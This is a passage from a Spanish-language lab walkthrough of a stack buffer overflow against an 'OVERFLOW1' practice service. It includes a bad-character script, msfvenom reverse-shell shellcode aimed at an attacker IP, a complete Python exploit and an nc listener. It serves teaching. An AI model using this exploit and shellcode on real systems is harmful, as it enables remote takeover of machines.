\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

Le damos formato a nuestro script y enviamos, ya entenderemos como encontrar los malitos:

#!/usr/bin/python3

import socket
import struct

HOST = "10.10.68.180"
PORT = 1337

to_reach_EIP = 1978
to_reach_JMPESP = 0x62501203

badchars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
# badchars_found = "\x00"

try:
    print(f"(+) BADchars, la pandilla...")

    # Connection
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.connect((HOST, PORT))
    server.settimeout(5)
    from_server = server.recv(1024)
    
    # Exploit
    payload = (
        b"OVERFLOW1 " +
        b"A" * to_reach_EIP +
        struct.pack('<I', to_reach_JMPESP) +
        badchars
    )

    server.send(payload)

    from_server = server.recv(1024)
    server.close()

except socket.timeout:
    print(f"(+) El programa dejó de responder...")
python3 badchars.py

El programa en nuestro debugger crashea. Pero no nos interesa, nos enfocaremos en el contenido del registro ESP. Miramos la parte de registros, hacemos clic derecho sobre el valor de ESP y después Follow in Dump:

En la parte de abajo a la izquierda tenemos el valor hexadecimal de toda la data guardada en el ESP:

La idea es empezar a buscar caracteres que no están siendo correctamente representados. Lo conseguimos simplemente siguiendo la secuencia de los badchars listados anteriormente. Hagamos un ejemplo:

Tenemos la siguiente cadena: 01 02 03, el siguiente debería ser 04, pero notamos 05, ahí, entendemos que el carácter 04 está generando una corrupción y no se está representando correctamente, en ese momento sabemos que 04 es un badchar. Lo retiraríamos de la cadena de chars y volveríamos a ejecutar el mismo procedimiento, buscando así que todos y cada uno de los caracteres se comporten bien (:

En nuestro dump notamos de primeras un badchar: ¿sabes cuál es?

Correcto, 07 nos está generando problemas, lo retiramos y nuestra lista quedaría:

\x01\x02\x03\x04\x05\x06\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

Tenemos dos badchars por ahora: \x00\x07.

Reiniciamooooooooos…

Volvemos a probar y ya la seguidilla de caracteres estaría correcta:

Continuando nuestra revisión encontramos otro:

El carácter 2e también está de problemático. Lo borramos de la lista y repetimos…

Repitiendo y repitiendo, obtenemos 4 badchars: \x00\x07\x2e\xa0.

Listoneeeees, tengámonos MUY en cuenta para la siguiente fase (: Podemos seguir con la creación de nuestro código malicioso y finalmente su ejecución.

ShellcodeANDO, ejecutANDO comANDO’ #

Para crear nuestro código malicioso nos podemos apoyar de msfvenom (pero hay otras maneras también de hacerlo):


msfvenom -p windows/shell_reverse_tcp LHOST=10.8.150.251 LPORT=4440 EXITFUNC=thread -f python -b "\x00\x07\x2e\xa0"

Le decimos:

  • -p: Usa un payload que, al momento de ejecutarse, devuelve una CMD de Windows.
  • LHOST: La dirección IP de atacante en la que queremos recibir la CMD.
  • LPORT: El puerto de atacante en el que queremos recibir la CMD.
  • EXITFUNC: Le indicamos al proceso que se desligue de todo, así la tarea se sigue ejecutando externamente al funcionamiento del servicio explotado.
  • -f: Para indicarle que el formato de salida debe ser para usar en un programa de Python.
  • -b: Le pasamos los badchars, así evitará usarlos en el shellcode.

Copiamos la variable buf y la pegamos en nuestro script, así mismo vamos a agregar unos valores “basura” para darle al shellcode un escondite, una forma de evitar posibles detecciones (aunque no hay antivirus ni nada, está bien ponerlo) y también para en dado caso, evitar que el código del programa llegue a sobreescribir nuestro shellcode.

Entonces lo “moveremos” un poquito del inicio del stack para evitar posibles problemas.

#!/usr/bin/python3

import socket
import struct

#HOST = "10.10.68.180"
HOST = "10.10.145.12"
PORT = 1337

to_reach_EIP = 1978
to_reach_JMPESP = 0x62501203
# badchars_found = "\x00\x07\x2e\xa0"
buf =  b""
buf += b"\xbb\xaf\xfe\x71\xad\xd9\xc0\xd9\x74\x24\xf4\x5a"
buf += b"\x2b\xc9\xb1\x52\x31\x5a\x12\x83\xea\xfc\x03\xf5"
buf += b"\xf0\x93\x58\xf5\xe5\xd6\xa3\x05\xf6\xb6\x2a\xe0"
buf += b"\xc7\xf6\x49\x61\x77\xc7\x1a\x27\x74\xac\x4f\xd3"
buf += b"\x0f\xc0\x47\xd4\xb8\x6f\xbe\xdb\x39\xc3\x82\x7a"
buf += b"\xba\x1e\xd7\x5c\x83\xd0\x2a\x9d\xc4\x0d\xc6\xcf"
buf += b"\x9d\x5a\x75\xff\xaa\x17\x46\x74\xe0\xb6\xce\x69"
buf += b"\xb1\xb9\xff\x3c\xc9\xe3\xdf\xbf\x1e\x98\x69\xa7"
buf += b"\x43\xa5\x20\x5c\xb7\x51\xb3\xb4\x89\x9a\x18\xf9"
buf += b"\x25\x69\x60\x3e\x81\x92\x17\x36\xf1\x2f\x20\x8d"
buf += b"\x8b\xeb\xa5\x15\x2b\x7f\x1d\xf1\xcd\xac\xf8\x72"
buf += b"\xc1\x19\x8e\xdc\xc6\x9c\x43\x57\xf2\x15\x62\xb7"
buf += b"\x72\x6d\x41\x13\xde\x35\xe8\x02\xba\x98\x15\x54"
buf += b"\x65\x44\xb0\x1f\x88\x91\xc9\x42\xc5\x56\xe0\x7c"
buf += b"\x15\xf1\x73\x0f\x27\x5e\x28\x87\x0b\x17\xf6\x50"
buf += b"\x6b\x02\x4e\xce\x92\xad\xaf\xc7\x50\xf9\xff\x7f"
buf += b"\x70\x82\x6b\x7f\x7d\x57\x3b\x2f\xd1\x08\xfc\x9f"
buf += b"\x91\xf8\x94\xf5\x1d\x26\x84\xf6\xf7\x4f\x2f\x0d"
buf += b"\x90\x65\xb8\x9b\x9b\x12\xba\xa3\x4a\xbb\x33\x45"
buf += b"\x06\x2b\x12\xde\xbf\xd2\x3f\x94\x5e\x1a\xea\xd1"
buf += b"\x61\x90\x19\x26\x2f\x51\x57\x34\xd8\x91\x22\x66"
buf += b"\x4f\xad\x98\x0e\x13\x3c\x47\xce\x5a\x5d\xd0\x99"
buf += b"\x0b\x93\x29\x4f\xa6\x8a\x83\x6d\x3b\x4a\xeb\x35"
buf += b"\xe0\xaf\xf2\xb4\x65\x8b\xd0\xa6\xb3\x14\x5d\x92"
buf += b"\x6b\x43\x0b\x4c\xca\x3d\xfd\x26\x84\x92\x57\xae"
buf += b"\x51\xd9\x67\xa8\x5d\x34\x1e\x54\xef\xe1\x67\x6b"
buf += b"\xc0\x65\x60\x14\x3c\x16\x8f\xcf\x84\x36\x72\xc5"
buf += b"\xf0\xde\x2b\x8c\xb8\x82\xcb\x7b\xfe\xba\x4f\x89"
buf += b"\x7f\x39\x4f\xf8\x7a\x05\xd7\x11\xf7\x16\xb2\x15"
buf += b"\xa4\x17\x97"

try:
    print(f"(+) Vamo a ShElLc0dEaR esta vuelta!!")

    # Connection
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.connect((HOST, PORT))
    server.settimeout(5)
    from_server = server.recv(1024)
    
    # Exploit
    payload = (
        b"OVERFLOW1 " +
        b"A" * to_reach_EIP +  # eip
        struct.pack('<I', to_reach_JMPESP) +  # jmp esp
        b"\x90" * 32 +  # junk data
        buf  # shellcode
    )

    server.send(payload)

    from_server = server.recv(1024)
    server.close()

except socket.timeout:
    print(f"(+) El programa dejó de responder...")

Nos ponemos en escucha por el puerto definido en LPORT:

nc -lvp 4440

Yyyy:

python3 shellcode.py

EEEEEEPALEEEEEEEEEEEEEEEEEE!!

Después de todo este camino, hemos explotado correctamente el buffer overflow basado en pila, consiguiendo así ejecutar nuestro shellcode sin problema y obteniendo una terminal en el sistema (:

Ya tienes el camino libre para hacer y deshacer con los demás OVERFLOW y programas vulnerables (:


Scripts creados #


  • fuzzing.py, buscamos romper el programa.
  • pattern.py, somos más específicos y encontramos la parte exacta de crash.
  • overwritEIP.py, tomamos control de la siguiente instrucción a ejecutar.
  • module.py, encontramos librerías sin restricciones para poder saltar a la pila.
  • badchars.py, evitamos problemas y descartamos caracteres que generen corrupción en la data.
  • shellcode.py, ejecutamos nuestro código malicioso.

Es un ataque muy lindo, algo complicado de entender al inicio, pero con la práctica, te emociona verlo :P

Espero que lo hayas disfrutado, que aunque quedo muy largo, siento que se detalló en lo que se debía detallar y se aclararon algunos temas importantes. Además, ya este post me queda como guía personal de un buffer overflow stack-based, así que para la prox no hay que explicar 😬

Me cuentas que tal te fue con los demás, cualquier cosa me charlas por el discord de s4vitar o por twitter.

¡A romper de todo y nos leeremos pronto!

Lanz

Lanz

Holap, simplemente quiero compartir contigo mis notas y que quizás, las tomes como apoyo. Este mundo es un camino raro, complicado a veces, pero divertido, diviertete (: (y entiende que estas haciendo :P)

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